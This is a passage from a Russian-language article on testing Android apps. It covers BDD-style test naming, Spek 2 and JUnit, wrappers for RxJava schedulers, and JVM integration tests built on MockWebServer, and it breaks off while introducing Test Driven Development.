override fun getString(res: Int, vararg args: Any): String = "$res"
}
```
При таком поведении TestResourceProvider по умолчанию правильность строки в ожидаемом результате можно сверять по id ресурса:
```
val string = TestResourceProvider().getString(R.string.error_no_internet)
assertThat(string).isEqualTo(R.string.error_no_internet.toString())
```
В общем случае лучше вообще не заменять дублерами типы, принадлежащие сторонним библиотекам и фреймворкам. Это может привести к проблемам при обновлении их API. Обезопасить себя можно также с помощью Wrapper. Подробнее [ситуация разобрана в статье](https://testing.googleblog.com/2020/07/testing-on-toilet-dont-mock-types-you.html) “Don’t Mock Types You Don’t Own”.
**Использовать Wrapper-ы для статических функций, управления асинхронным и многопоточным поведением.** Существует немало стандартных статических функций или Android-зависимостей в виде таких функций. Если нужно иметь с ними дело, то следует помещать их во Wrapper-ы и внедрять в SUT для последующей подмены.
Это поможет и при работе с асинхронностью и многопоточностью: инкапсулирующий управление ими Wrapper можно заменить тестовым дублером, который позволит проверяемому коду выполняться в одном потоке и синхронно вызвать асинхронный код. Для RxJava и Kotlin Coroutines есть стандартные решения от их авторов.
Дизайн тестов
-------------
Важно оформлять тесты качественно. Иначе они помогут в момент написания, но в будущем будет уходить много времени на их понимание и поддержку.
Например, при падении теста, который сложно сходу понять и исправить, есть шанс, что его пометят как «игнорируемый» или удалят. Особенно если таких тестов много, ведь они тормозят продолжение разработки. Вот старый пример не самого удачного теста из опенсорса:
Spoiler
```
public void testSubClassSerializerInvokedForBaseClassFieldsHoldingArrayOfSubClassInstances() {
Gson gson = new GsonBuilder()
.registerTypeAdapter(Base.class, new BaseSerializer())
.registerTypeAdapter(Sub.class, new SubSerializer())
.create();
ClassWithBaseArrayField target = new ClassWithBaseArrayField(new Base[] {new Sub(), new Sub()});
JsonObject json = (JsonObject) gson.toJsonTree(target);
JsonArray array = json.get("base").getAsJsonArray();
for (JsonElement element : array) {
JsonElement serializerKey = element.getAsJsonObject().get(Base.SERIALIZER_KEY);
assertEquals(SubSerializer.NAME, serializerKey.getAsString());
}
}
```
Чтобы достичь желаемого эффекта от тестов, необходимо уделить внимание качеству их дизайна.
#### Наименование теста и разделение на блоки
Чтобы сделать содержимое теста более читабельным, его следует разделять на блоки соответствующих этапов. Я выбрал [BDD-стиль](https://martinfowler.com/bliki/GivenWhenThen.html), где есть этапы:
* **Given** — настройка SUT и среды;
* **When** — действие, инициирующее работу SUT, результат работы которой нужно проверить;
* **Then** — проверка результатов на соответствие ожиданиям.
Пример разделения тела теста:
```
@Test
fun `when create - while has 1 interval from beginning of day and ending not in end of day - should return enabled and disabled items`() {
// given
val intervalStart = createDateTime(BEGINNING_OF_DAY)
val intervalEnd = createDateTime("2019-01-01T18:00:00Z")
val intervals = listOf(
ArchiveInterval(startDate = intervalStart, endDate = intervalEnd)
)
// when
val result = progressItemsfactory.createItemsForIntervalsWithinDay(intervals)
// then
val expected = listOf(
SeekBarProgressItem.createEnabled(intervalStart, intervalEnd),
SeekBarProgressItem.createDisabled(intervalEnd, createDateTime(END_OF_DAY))
)
assertThat(result).isEqualTo(expected)
}
```
«Лицо» теста — его название. Оно должно быть читабельным и ёмко передавать информацию о содержимом, чтобы для ориентации не приходилось каждый раз анализировать это самое содержимое.
В тестах на JVM Kotlin позволяет использовать пробел и дефис при обрамлении названия функции обратными кавычками. Это здорово повышает читабельность. В инструментальных тестах это не работает, поэтому текст пишется в CamelCase, а вместо дефисов используются нижние подчеркивания.
Для тестов на Junit применим следующий паттерн именования в простых случаях:
* **when … - should …**
when — аналогично блоку When;
should — аналогично блоку Then.
В более сложных случаях, когда есть дополнительные условия:
* **when … - while/and … - should …** , где
while — предусловие до вызова целевой функции SUT;
and — условие после вызова функции SUT.
Пример:
```
@Test
fun `when doesValueSatisfyRegex - while value is incorrect - should return false`() {
```
Так имя теста написано в виде требования, и в случае падения будет сразу видно, какой сценарий отработал некорректно:
Фреймворк Spek 2 выводит всё это на новый уровень. Он предоставляет «из коробки» DSL в стиле [Gherkin](https://en.wikipedia.org/wiki/Cucumber_(software)#Gherkin_language) (BDD).
```
object GetCameraGroupsInteractorTest : Spek({
Feature("Transform cached cameras to groups of cameras") {
...
Scenario("subscribe while has non-grouped camera and unsorted by groups order cameras") {
...
Given("non-grouped camera and unsorted by groups order cameras") {
...
}
When("subscribe") {
...
}
Then("should return four groups") {
...
}
...
}
}
})
```
Блоки Given, When, Then — подтесты глобального теста, описанного с помощью блока Scenario. Теперь нет необходимости ставить всё описание в названии, можно просто расположить все части в соответствующих блоках.
Результат выполнения имеет иерархический вид:
Эти блоки могут присутствовать внутри Scenario в любом количестве, а для придания еще более «человекочитаемого» вида можно использовать блок And. Теперь насыщенный сценарий можно оформить, не растянув при этом название теста далеко за границу экрана:
Благодаря блокам типа Feature можно удобно разделять тесты для разных фич, если в одном тестовом файле их несколько.
Чтобы добиться схожего разделения и отображения результатов с помощью Junit 5, понадобилось бы написать в тестах много бойлерплейта с аннотациями.
#### Устранение лишнего кода
Чтобы сделать содержимое тестов читабельнее, нужно следовать нескольким правилам:
1. Если проверки результатов выполнения одного действия над SUT тесно связаны, допустимо иметь несколько проверок в тесте. В противном случае это должны быть отдельные тесты. Основная проблема в том, что если в тесте несколько проверок и одна из них фейлится, то последующие проверки осуществлены не будут.
В Spek 2 вместо создания полностью отдельных тестов, если они концептуально относятся к одному сценарию, разделение проверок можно сделать с помощью блоков Then/And внутри Scenario:
```
...
Then("should return four groups") {...}
And("they should be alphabetically sorted") {...}
And("other group should contain one camera") {...}
And("other group should be the last") {...}
...
```
В Junit 4 такой возможности нет. На помощь приходит механизм SoftAssertions из AssertJ, который гарантирует выполнение всех assert в тесте. Например:
```
// then
assertSoftly {
it.assertThat(capabilityState)
.describedAs("Capability state")
.isInstanceOf(Available::class.java)
it.assertThat((capabilityState as Available).disclaimer)
.describedAs("Disclaimer")
.isNull()
}
```
2. Если проверки объемные, нежелательные к разделению и повторяющиеся, следует выносить их в отдельную функцию с говорящим названием.
3. Использовать обобщающие конструкции тестового фреймворка для одинаковой настройки окружения, если настройка повторяется для большого количества тестов, находящихся на одном уровне иерархии (например, *beforeEachScenario* и *afterEachScenario* в случае Spek 2). Если настройка одинакова для нескольких тестовых файлов, можно использовать [Extension](https://junit.org/junit5/docs/current/user-guide/#extensions) для Junit 5, [Rule](https://junit.org/junit4/javadoc/4.12/org/junit/Rule.html) для Junit 4, а для Spek 2 подобного механизма «из коробки» нет, поэтому нужно обходиться конструкциями *before…/after…*.
4. Объемные схожие настройки тестового окружения следует также выносить в отдельную функцию.
5. Использовать статические импорты для повсеместно применяемых функций вроде функций проверок AssertJ и Mockito.
6. Если создание вспомогательных объектов объемное, используется в разных тестовых файлах и с разными параметрами, следует завести генератор с дефолтными значениями:
Пример генератора
```
object DeviceGenerator {
fun createDevice(
description: String? = null,
deviceGroups: List = emptyList(),
deviceType: DeviceType = DeviceType.CAMERA,
offset: Int = 0,
id: String = "",
photoUrl: String? = null,
isActive: Boolean = false,
isFavorite: Boolean = false,
isPublic: Boolean = false,
model: String? = null,
vendor: String? = null,
title: String = "",
serialNumber: String = "",
streamData: StreamData? = null
): Device {
return Device(
description = description,
deviceGroups = deviceGroups,
deviceType = deviceType,
offset = offset,
id = id,
photoUrl = photoUrl,
isActive = isActive,
isFavorite = isFavorite,
isPublic = isPublic,
model = model,
vendor = vendor,
title = title,
serialNumber = serialNumber,
streamData = streamData
)
}
}
Given("initial favorite camera") {
val devices = listOf(
createDevice(id = deviceId, isFavorite = true)
)
...
}
```
Очень важно не переборщить с созданием вспомогательных функций и архитектурных изысков, поскольку KISS и единообразие в автотестах важнее, чем DRY. Когда все тесты в проекте написаны однотипно и прозрачно, они гораздо лучше воспринимаются.
#### Тесты как документация
Когда предыдущие пункты соблюдены, тесты уже можно применять как документацию, свернув тестовые функции в IDE.
Для сворачивания и разворачивания всех блоков кода в файле в случае Mac используются комбинации клавиш “Shift” + “⌘” + “-” и “Shift” + “⌘” + “+”, для управления конкретным блоком — “⌘” + “-” и “⌘” + “+” соответственно.
В тестах на Junit 4 можно сделать еще лучше, сгруппировав тесты по регионам, ведь их тоже можно сворачивать.
ПримерВ тестах на Spek 2 нет нужды делать разделение тестов по регионам, поскольку их можно хорошо сгруппировать с помощью блоков Scenario и Feature.
Если в файле с тестами присутствуют некоторые вспомогательные свойства или функции, их также стоит поместить в регион. Это поспособствует улучшению фокусировки внимания на названиях тестовых функций.
Наконец пример тестов на Spek 2 в режиме документацииТак тесты сформированы в виде последовательных требований к SUT, в которых удобно ориентироваться. Теперь они отличная документация для ваших коллег и вас самих, которая поможет быстро разобраться или вспомнить, что делает SUT.
Она лучше обычной текстовой, поскольку в отличие от тестов, обычную документацию можно забыть актуализировать. Чем тесты более высокоуровневые, тем более близкими к составленным аналитиком функциональным требованиям будут их названия. Это будет заметно в разделе "JVM Integration Testing".
#### Параметрические тесты
Если нужно протестировать корректность работы SUT с разнообразным набором входных данных, но при этом основная реализация тестов меняться не должна, можно использовать параметрический тест.
Он может быть запущен много раз, каждый раз принимая разные аргументы. Поэтому отпадает надобность писать множество одинаковых тестов, у которых отличаются только входные данные и ожидаемый результат. Достаточно написать один тест и указать набор данных, которые будут поочередно в него передаваться. Часто параметрические тесты оказываются подходящим выбором для тестирования валидаторов, форматтеров, конвертеров и т.д.
В документации Spek 2 не написано о возможности написания параметрических тестов, хотя она есть, и писать их проще, чем в Junit 4 и Junit 5. Для этих целей удобно использовать стиль тестов [Specification](https://www.spekframework.org/specification/).
Пример параметрического теста в Spek 2
```
class OrientationTypeTest : Spek({
describe("Orientation type") {
mapOf(
-1 to Unknown,
-239 to Unknown,
361 to Unknown,
2048 to Unknown,
340 to Portrait,
350 to Portrait,
360 to Portrait,
0 to Portrait,
...
).forEach { (tiltAngle, expectedOrientation) ->
describe("get orientation by tilt angle $tiltAngle") {
val result = OrientationType.getOrientation(tiltAngle)
it("return $expectedOrientation type") {
assertThat(result).isEqualTo(expectedOrientation)
}
}
}
}
})
```
Результат выполнения:
Снижение хрупкости non-UI тестов
--------------------------------
Я писал, что степень хрупкости unit-тестов при изменениях исходного кода, обусловленную их привязкой к деталям реализации модуля, можно снизить. Это применимо для всех non-UI тестов.
Написание тестов в стиле White box искушает расширять видимость функций/свойств SUT для проверок или установки состояний. Это простой путь, который влечет за собой не только увеличение хрупкости тестов, но и нарушение инкапсуляции SUT.
Избежать этого помогут правила. Можно сказать, что взаимодействие с SUT будет в стиле Black box.
1. Тестировать следует только публичные функции. Если SUT имеет приватную функцию, логику которой нужно протестировать, делать это следует через связанную с ней публичную функцию. Если сделать это проблематично, то, возможно, код приватной функции так сложен, что должен быть вынесен в отдельный класс и протестирован напрямую.
2. Нужно стараться делать функции чистыми. *Об этом я говорил выше*.
3. Проверки в тесте следует осуществлять по возвращаемому значению вызываемой публичной функции, публичным свойствам или, в крайнем случае, по взаимодействию с mock-объектами (с помощью функции *verify()* и механизма [ArgumentCaptor](https://javadoc.io/static/org.mockito/mockito-core/2.23.0/org/mockito/ArgumentCaptor.html) в Mockito)
4. Делать только необходимые проверки в рамках теста. Например, если в тесте проверяется, что при вызове функции “A” у SUT происходит вызов функции “X” у другого класса, то не следует до кучи проверять значения её публичных полей, особо не имеющих отношения к делу, и что у SUT не будет более никаких взаимодействий с другими функциями связанного класса (функция *verifyNoMoreInteractions()* в Mockito).
5. Если для проведения определенного теста невозможно привести SUT в требуемое предварительное состояние с помощью аргументов целевой функции, моков/стабов или изменения полей, то следует вызвать другие публичные функции, вызов которых приводит SUT в интересующее состояние в условиях реальной работы приложения. Например, вызвать функции *onLoginInputChanged* и *onPasswordInputChanged* для подготовки теста *onEnterButtonClick* во ViewModel
Существует аннотация-маркер *@VisibleForTesting* для выделения функций/свойств, модификатор доступа которых расширили для тестирования. Благодаря этому маркеру Lint подскажет разработчику, обратившемуся к функции/свойству в таком месте исходного кода, в котором они на самом деле не должны быть доступны, что видимость функции расширена только для тестирования. Несмотря на возможность использования такого маркера, прибегать к расширению видимости всё равно не рекомендуется.
Тестирование асинхронного кода с RxJava
---------------------------------------
Лучше избегать прямого управления асинхронным и многопоточным поведением в SUT. Для тестирования же кода, использующего RxJava или Coroutines, применяются специфичные решения. Сейчас в большинстве наших проектов используется RxJava, поэтому расскажу именно про нее.
Для тестирования SUT, осуществляющей планирование Rx-операций, нужно произвести замену реализаций Scheduler-ов так, чтобы весь код выполнялся в одном потоке. Также важно иметь в виду, что на JVM нельзя использовать *AndroidSchedulers.mainThread()*.
В большинстве случаев все Scheduler-ы достаточно заменить на *Schedulers.trampoline()*. В случаях, когда нужен больший контроль над временем события, лучше использовать [*io.reactivex.schedulers.TestScheduler*](http://reactivex.io/RxJava/javadoc/io/reactivex/schedulers/TestScheduler.html) с его функциями *triggerActions(), advanceTimeBy(), advanceTimeTo()*.
Замену реализаций можно совершить двумя способами:
* RxPlugins (RxJavaPlugins & RxAndroidPlugins);
* Подход Schedulers Injection.
Первый способ — официальный и может быть применен независимо от того, как спроектирована SUT. Он имеет не самое удачное API и неприятные нюансы работы, усложняющие применение в некоторых ситуациях (например, когда внутри тестового файла в одних тестах нужно использовать *Schedulers.trampoline()*, а в других — *TestScheduler*).
Суть подхода Schedulers Injection заключается в следующем: экземпляры Scheduler-ов попадают в SUT через конструктор, благодаря чему в тесте они могут быть заменены на иные реализации. Этот подход является очень прозрачным и гибким. Также он останется неизменным независимо от выбранного тестового фреймворка (Junit 4, Junit 5, Spek 2…) — чего нельзя сказать об RxPlugins, которыми придется в каждом управлять по-своему.
Из минусов Shedulers Injection можно выделить необходимость внедрения дополнительного аргумента в SUT и необходимость использования вместо rx-операторов с Sheduler по умолчанию (таких как *delay()*) их перегруженные варианты с явным указанием Scheduler.
Есть две неплохие статьи на тему обоих подходов: [раз](https://www.notion.so/Android-JVM-b7bfac1edc6549bf804bd3421933bfed#9f853afbd370447ca4cff1dbd0948bcf), [два](https://medium.com/@peter.tackage/an-alternative-to-rxandroidplugins-and-rxjavaplugins-scheduler-injection-9831bbc3dfaf). Но там упомянуты не все нюансы RxPlugins.
Я предпочитаю второй подход. Чтобы упростить внедрение и подмену реализаций в тесте, я написал *SchedulersProvider*:
Реализация и применение SchedulersProvider
```
interface SchedulersProvider {
fun ui(): Scheduler
fun io(): Scheduler
fun computation(): Scheduler
}
class SchedulersProviderImpl @Inject constructor() : SchedulersProvider {
override fun ui(): Scheduler = AndroidSchedulers.mainThread()
override fun io(): Scheduler = Schedulers.io()
override fun computation(): Scheduler = Schedulers.computation()
}
fun Single.scheduleIoToUi(schedulers: SchedulersProvider): Single {
return subscribeOn(schedulers.io()).observeOn(schedulers.ui())
}
// другие необходимые функции-расширения...
```
Его применение в коде:
```
class AuthViewModel(
...
private val schedulers: SchedulersProvider
) : BaseViewModel() {
...
loginInteractor
.invoke(login, password)
.scheduleIoToUi(schedulers)
...
```
А вот и его тестовая реализация с Scheduler-ами по умолчанию, вместо которых при надобности можно передать TestScheduler:
```
class TestSchedulersProvider(
private val backgroundScheduler: Scheduler = Schedulers.trampoline(),
private val uiScheduler: Scheduler = Schedulers.trampoline()
) : SchedulersProvider {
override fun ui(): Scheduler = uiScheduler
override fun io(): Scheduler = backgroundScheduler
override fun computation(): Scheduler = backgroundScheduler
}
```
Применение в тесте:
```
authViewModel = AuthViewModel(
...
router = mock(),
schedulers = TestSchedulersProvider(),
loginInteractor = loginInteractor,
...
)
```
Вообще, RxJava «из коробки» имеет и другие полезные инструменты для тестирования ([TestObserver](http://reactivex.io/RxJava/javadoc/io/reactivex/observers/TestObserver.html), [TestSubscriber](http://reactivex.io/RxJava/2.x/javadoc/io/reactivex/subscribers/TestSubscriber.html)), но они не входят в рамки статьи.
JVM integration testing
-----------------------
JVM Integration-тесты проверяют взаимодействие модулей или совокупностей модулей на JVM. Какие именно связки стоит тестировать, зависит от конкретных случаев.
В самых масштабных тестах этого типа проверяется взаимодействие всей цепочки модулей от ViewModel до Http-клиента, поскольку в этом промежутке обычно располагается основная логика, требующая проверки. Обеспечивать работу View на JVM обычно накладно и не имеет большого смысла.
Тест взаимодействует с SUT через ViewModel, инициируя действия и проверяя результат.
Чтобы достичь максимальной степени проверки SUT в данном случае следует заменять тестовыми реализациями только те сущности, которые действительно в этом нуждаются. Типичный набор таких сущностей:
* *android.content.res.Resources или собственный Wrapper.* Обычно достаточно стаба, обеспечивающего исправный возврат строк из ресурсов.
* *androidx.arch.core.executor.TaskExecutor.* Требуется в любых тестах на JVM, у которых SUT использует LiveData, поскольку стандартная реализация имеет Android-зависимость. Подробнее можно почитать в [этой статье](https://programmerr47.medium.com/minute-of-pain-4-viewmodel-testing-38f012828bcc). Google предлагает готовое решение этой проблемы в форме Rule лишь для Junit 4, поэтому для Spek 2 и Junit 5 использую рукописный класс, содержащий код из того самого решения:
```
object TestLiveDataExecutionController {
fun enableTestMode() {
ArchTaskExecutor.getInstance()
.setDelegate(object : TaskExecutor() {
override fun executeOnDiskIO(runnable: Runnable) = runnable.run()
override fun postToMainThread(runnable: Runnable) = runnable.run()
override fun isMainThread(): Boolean = true
})
}
fun disableTestMode() {
ArchTaskExecutor.getInstance().setDelegate(null)
}
}
```
Соответствующие функции достаточно вызывать перед первым и после последнего теста в тестовом файле. Пример применения в Spek 2:
```
object DeviceDetailViewModelIntegrationTest : Spek({
beforeGroup { TestLiveDataExecutionController.enableTestMode() }
afterGroup { TestLiveDataExecutionController.disableTestMode() }
...
```
* *Сервер.* Для имитации сервера используется MockWebServer от создателей OkHttp. Он позволяет предустанавливать ответы на конкретные запросы, проверять состав запросов, факты их вызова и др.
* *Interceptors с Android-зависимостями.* Не следует пренебрегать добавлением интерцепторов в тестовую конфигурацию клиента OkHttp, соблюдая тот же порядок, что и в настоящем клиенте, чтобы серверные запросы и ответы правильно обрабатывались. Однако некоторые интерцепторы могут иметь Android-зависимости — их следует подменить. Например, это могут быть интерцепторы логирования. Интерцепторы последовательно передают данные друг другу и эту цепочку нельзя прерывать, поэтому фиктивный интерцептор должен выполнять это минимальное требование:
```
// StubInterceptor
Interceptor { chain ->
return@Interceptor chain.proceed(chain.request().newBuilder().build())
}
```
* *Персистентные хранилища данных* (SharedPreferences, Room и т.д.)
Базовая логика управления тестовым сетевым окружением сконцентрирована в классе BaseTestNetworkEnvironment. Он используется на JVM и в Instrumentation. За специфическую конфигурацию под каждую из сред отвечают его классы-наследники: *JvmTestNetworkEnvironment* и *InstrumentationTestNetworkEnvironment*.
Сервер запускается при создании экземпляра *\*NetworkEnvironment* до запуска теста и отключается функцией *shutdownServer()* после завершения теста (в случае Gherkin-стиля Spek 2 — до и после Scenario соответственно).
Для удобной настройки ответов на конкретные запросы используется функция *dispatchResponses*. При необходимости к *mockServer* можно обратиться напрямую.
Реализация BaseTestNetworkEnvironment
```
abstract class BaseTestNetworkEnvironment {
companion object {
private const val BASE_URL = "/"
private const val ENDPOINT_TITLE = "Mock server"
}
val mockServer: MockWebServer = MockWebServer().also {
it.startSilently()
}
// класс, специфичный для инфраструктуры проекта
protected val mockNetworkConfig: NetworkConfig
init {
val mockWebServerUrl = mockServer.url(BASE_URL).toString()
mockNetworkConfig = TestNetworkConfigFactory.create(mockWebServerUrl, BASE_URL)
}
/**
* Используется для предустановки фиктивных ответов на конкретные запросы к [MockWebServer].
*
* [pathAndResponsePairs] пара путь запроса - ответ на запрос.
*
* Если [MockWebServer] получит запрос по пути, которого нет среди ключей [pathAndResponsePairs],
* то будет возвращена ошибка [HttpURLConnection.HTTP_NOT_FOUND].
*/
fun dispatchResponses(vararg pathAndResponsePairs: Pair) {
val pathAndResponseMap = pathAndResponsePairs.toMap()
val dispatcher = object : Dispatcher() {
override fun dispatch(request: RecordedRequest): MockResponse {
val mockResponse = request.path?.let {
pathAndResponseMap[it]
}
return mockResponse ?: mockResponse(HttpURLConnection.HTTP\_NOT\_FOUND)
}
}
mockServer.dispatcher = dispatcher
}
fun shutdownServer() {
mockServer.shutdown()
}
/\*\*
\* Запуск сервера с отключенными логами
\*/
private fun MockWebServer.startSilently() {
Logger.getLogger(this::class.java.name).level = Level.WARNING
start()
}
}
```
Содержимое JvmTestNetworkEnvironment уже сильно зависит от специфики конкретного проекта, но цель его неизменна — заменить некоторые сущности локального сетевого окружения тестовыми дублерами, чтобы код работал на JVM.
Пример реализации JvmTestNetworkEnvironment
```
// Если не передавать в конструктор класса специфические экземпляры тестовых дублеров, то будут использоваться
// стабы с минимальным предустановленным поведением, необходимым для функционирования сетевого флоу.
class JvmTestNetworkEnvironment(
val mockPersistentStorage: PersistentStorage = mockPersistentStorageWithMockedAccessToken(),
val mockResources: ResourceProvider = TestResourceProvider()
) : BaseTestNetworkEnvironment() {
private val nonAuthZoneApiHolderProvider: NonAuthZoneApiHolderProvider
private val authZoneApiHolderProvider: AuthZoneApiHolderProvider
init {
val moshiFactory = MoshiFactory()
val serverErrorConverter = ServerErrorConverter(moshiFactory, mockResources)
val stubInterceptorProvider = StubInterceptorProvider()
val interceptorFactory = InterceptorFactory(
ErrorInterceptorProvider(serverErrorConverter).get(),
AuthInterceptorProvider(mockPersistentStorage).get(),
stubInterceptorProvider.get(),
stubInterceptorProvider.get()
)
nonAuthZoneApiHolderProvider = NonAuthZoneApiHolderProvider(
interceptorFactory,
moshiFactory,
mockNetworkConfig
)
authZoneApiHolderProvider = AuthZoneApiHolderProvider(
interceptorFactory,
moshiFactory,
UserAuthenticator(),
mockNetworkConfig
)
}
fun provideNonAuthZoneApiHolder() = nonAuthZoneApiHolderProvider.get()
fun provideAuthZoneApiHolder() = authZoneApiHolderProvider.get()
}
```
Функции для упрощения создания серверных ответов:
```
fun mockResponse(code: Int, body: String): MockResponse = MockResponse().setResponseCode(code).setBody(body)
fun mockResponse(code: Int): MockResponse = MockResponse().setResponseCode(code)
fun mockSuccessResponse(body: String): MockResponse = MockResponse().setBody(body)
```
Тела фиктивных серверных ответов сгруппированы по object-ам, соответствующим разным запросам. Это делает тестовые файлы чище и позволяет переиспользовать ответы и значения их полей в разных тестах. Одни и те же ответы используются тестами на JVM и Instrumentation (в том числе UI).
После добавления комментария *"language=JSON"* IDE подсвечивает синтаксис JSON. Подробнее о Language injections можно почитать [тут](https://www.jetbrains.com/help/idea/using-language-injections.html).
С помощью выноса значений интересующих полей ответов в константы, можно использовать их при проверках в тестах, не дублируя строки. Например, убедиться, что описание ошибки из серверного ответа корректно передано в Snackbar. Тело ответа получается посредством вызова функции с параметрами, которые при надобности позволяют конфигурировать ответ из теста.
Пример object с фиктивными серверными ответами
```
object LoginResponses {
const val INVALID_CREDENTIALS_ERROR_DESCRIPTION = "Неверный логин или пароль"
fun invalidCredentialsErrorJson(
errorDescription: String = INVALID_CREDENTIALS_ERROR_DESCRIPTION
): String {
// language=JSON
return """
{
"error": {
"code": "invalid_credentials",
"description": "$errorDescription",
"title": "Введены неверные данные"
}
}
""".trimIndent()
}
...
}
```
Схожим образом вынесены и пути запросов:
```
const val LOGIN_REQUEST_PATH = "/auth/login"
object GetCameraRequest {
const val DEVICE_ID = "1337"
const val GET_CAMERA_REQUEST_PATH = "/devices/camera/$DEVICE_ID"
}
...
```
Общие для JVM и Instrumentation файлы должны находиться в директории, доступной обоим окружениям. Доступ настраивается в build.gradle:
```
android {
sourceSets {
// Instrumentation
androidTest {
java.srcDirs += 'src/androidTest/kotlin'
java.srcDirs += 'src/commonTest/kotlin'
}
// JVM
test {
java.srcDirs += 'src/test/kotlin'
java.srcDirs += 'src/commonTest/kotlin'
}
}
}
```
Взаимодействие View и ViewModel построено особым способом, благодаря которому очень удобно писать unit-тесты ViewModel и integration-тесты. Публичные функции ViewModel представляют события со стороны View (обычно они соответствуют действиям со стороны пользователя) и именуются в событийном стиле:
ViewModel воздействует на View посредством двух LiveData:
* state — описание состояния View
* events — однократные события, не сохраняющиеся в state
Этот подход в более удобном виде реализован в [нашей библиотеке](https://github.com/RedMadRobot/redmadrobot-android-ktx/tree/main/lifecycle-livedata-ktx).
Пример организации ViewModel, ViewState и ViewEvents
```
class AuthViewModel(...) {
val state = MutableLiveData()
val events = EventsQueue()
...
}
sealed class AuthViewState {
object Loading : AuthViewState()
data class Content(
val login: String = "",
val password: String = "",
val loginFieldState: InputFieldState = Default,
val passwordFieldState: InputFieldState = Default,
val enterButtonState: EnterButtonState = Disabled
) : AuthViewState() {
sealed class InputFieldState {
object Default : InputFieldState()
object Error : InputFieldState()
object Blocked : InputFieldState()
}
...
}
}
class EventsQueue : MutableLiveData>() {
fun onNext(value: T) {
val events = getValue() ?: LinkedList()
events.add(value)
setValue(events)
}
}
// ViewEvents:
interface ViewEvent
data class ShowSnackbarError(val message: String) : ViewEvent
class OpenPlayStoreApp : ViewEvent
...
```
Наконец, пример JVM Integration-теста
```
object AuthViewModelIntegrationTest : Spek({
Feature("Login") {
// region Fields and functions
lateinit var authViewModel: AuthViewModel
lateinit var networkEnvironment: JvmTestNetworkEnvironment
val login = "log"
val password = "pass"
fun setUpServerScenario() {
networkEnvironment = JvmTestNetworkEnvironment()
val authRepository = networkEnvironment.let {
AuthRepositoryImpl(
nonAuthApi = it.provideNonAuthZoneApiHolder(),
authApi = it.provideAuthZoneApiHolder(),
persistentStorage = it.mockPersistentStorage,
inMemoryStorage = InMemoryStorage()
)
}
val clientInfo = ClientInfo(...)
val loginInteractor = LoginInteractor(authRepository, clientInfo)
authViewModel = AuthViewModel(
resources = networkEnvironment.mockResources,
schedulers = TestSchedulersProvider(),
loginInteractor = loginInteractor
analytics = mock()
)
}
beforeFeature { TestLiveDataExecutionController.enableTestMode() }
afterFeature { TestLiveDataExecutionController.disableTestMode() }
beforeEachScenario { setUpServerScenario() }
afterEachScenario { networkEnvironment.shutdownServer() }
// endregion
Scenario("input credentials") {...}
Scenario("click enter button and receive invalid_credentials error from server") {
Given("invalid_credentials error on server") {
networkEnvironment.dispatchResponses(
LOGIN_REQUEST_PATH to mockResponse(HTTP_UNAUTHORIZED, invalidCredentialsErrorJson())
)
}
When("enter not blank credentials") {
authViewModel.onCredentialsChanged(login, password)
}
And("click enter button") {
authViewModel.onEnterButtonClick(login, password)
}
Then("reset password, mark login and password input fields as invalid and disable enter button") {
val state = authViewModel.state.value
val expectedState = Content(
login = login,
password = "",
loginFieldState = Content.InputFieldState.Error,
passwordFieldState = Content.InputFieldState.Error,
enterButtonState = Content.EnterButtonState.Disabled
)
assertThat(state).isEqualTo(expectedState)
}
And("create snackbar error event with message from server") {
val expectedEvent = authViewModel.events.value!!.peek()
assertThat(expectedEvent).isEqualTo(ShowSnackbarError(INVALID_CREDENTIALS_ERROR_DESCRIPTION))
}
}
...
}
...
})
```
Так тестируется основная логика пользовательских сценариев. Эти сценарии с теми же данными затем могут быть проверены в UI-тестах.
### Что в итоге нужно тестировать?
Не нужно тестировать чужие библиотеки — это ответственность разработчиков библиотек (исследовательское тестирование — исключение). Тестировать нужно свой код.
Unit-тесты следует писать на логику, в которой есть реальная вероятность совершения ошибки. Это могут быть ViewModel, Interactor, Repository, функции форматирования (денег, дат и т.д.) и другие стандартные и нестандартные сущности. Тривиальную логику тестировать не стоит. Но нужно следить за изменением непокрытой тестами логики, если она при очередном изменении перестанет быть тривиальной, то тогда её нужно протестировать.
100%-е покрытие кода тестами несёт с собой вред: трата лишнего времени на написание бесполезных тестов, боль при изменении реализации, при поддержке бесполезных тестов, иллюзия хорошо протестированной системы. Процент покрытия не отражает реальной картины того, насколько хорошо система протестирована.
Я предпочитаю не устанавливать минимальный порог тестового покрытия для нового кода. Однако для разработчика всё же может быть полезной точечная проверка покрытия SUT, над которой он работает.
Тестами нужно проверять не только основные сценарии, но и краевые. Обычно там кроется наибольшее число багов.
При исправлении бага в коде, который не покрыт тестами, следует его ими покрыть.
JVM Integration-тесты от ViewModel до слоя данных следует писать для каждого экрана. Менее масштабные JVM Integration — при надобности. Возможны случаи, когда большинство модулей, включая ViewModel, сами по себе являются слишком простыми, чтобы их стоило покрывать unit-тестами. Однако создание масштабного JVM integration-теста на всю цепочку будет очень кстати, тем более что пишутся такие тесты достаточно просто и однотипно.
Нужно стараться не проверять в тестах более высокоуровневых категорий то, что проверено в более низкоуровневых, но повторы проверок основных сценариев во всё большей интеграции — это нормально.
Тесты Instrumentation Integration non-UI — только когда нужно проверить что-то, что нельзя адекватно проверить на JVM.
E2E UI- и Component UI-тесты нужны для замены части ручных тестов при регрессионном тестировании. Разумно доверить их написание QA-инженерам. В настоящее время мы с коллегами ищем оптимальный подход к тому, как организовывать UI-тесты, в каком количестве их писать и как сочетать с более низкоуровневыми тестами.
Test Driven Development
-----------------------
Можно подумать, что о написании тестов уже известно достаточно и пора идти в бой, но есть еще один момент… Вы, вероятно, собрались написать очередную фичу и затем покрыть её тестами? Замечательная идея. Именно так и стоит делать, пока навык написания тестов не будет более менее отработан. Такой подход называют Test Last. Конечно же, среди пишущих тесты разработчиков он наиболее распространен. Но он имеет серьезные недостатки:
* несмотря на знания о том, каким должен быть тестируемый код, всё равно может получиться реализация, протестировать которую сходу не получится. Может понадобиться рефакторинг, чтобы появилась возможность написать тесты и сделать их «не корявыми» :)
* по моим наблюдениям, при покрытии кода тестами, разработчику свойственно подстраивать тесты под существующую реализацию, которая уже «засела у него в голове». Поэтому вероятность упустить какой-то кейс возрастает. И это чревато пропущенными багами.
* тесты остаются на последнюю очередь и на них зачастую не остается времени.
Решить эти проблемы можно, используя принцип Test First, придуманным Кентом Беком. Он основан на идее: "Never write a single line of code unless you have a failing automated test" (не стоит писать код реализации, пока для него не написан падающий тест).
На базе этого принципа Кент Бек создал методологию Test Driven Development (TDD, разработка через тестирование). Согласно ей, разработка должна вестись итеративно, путем цикличного повторения шагов Red-Green-Refactor (микро-цикл):
* написать тест на логику, которую предстоит реализовать, и убедиться, что он падает;
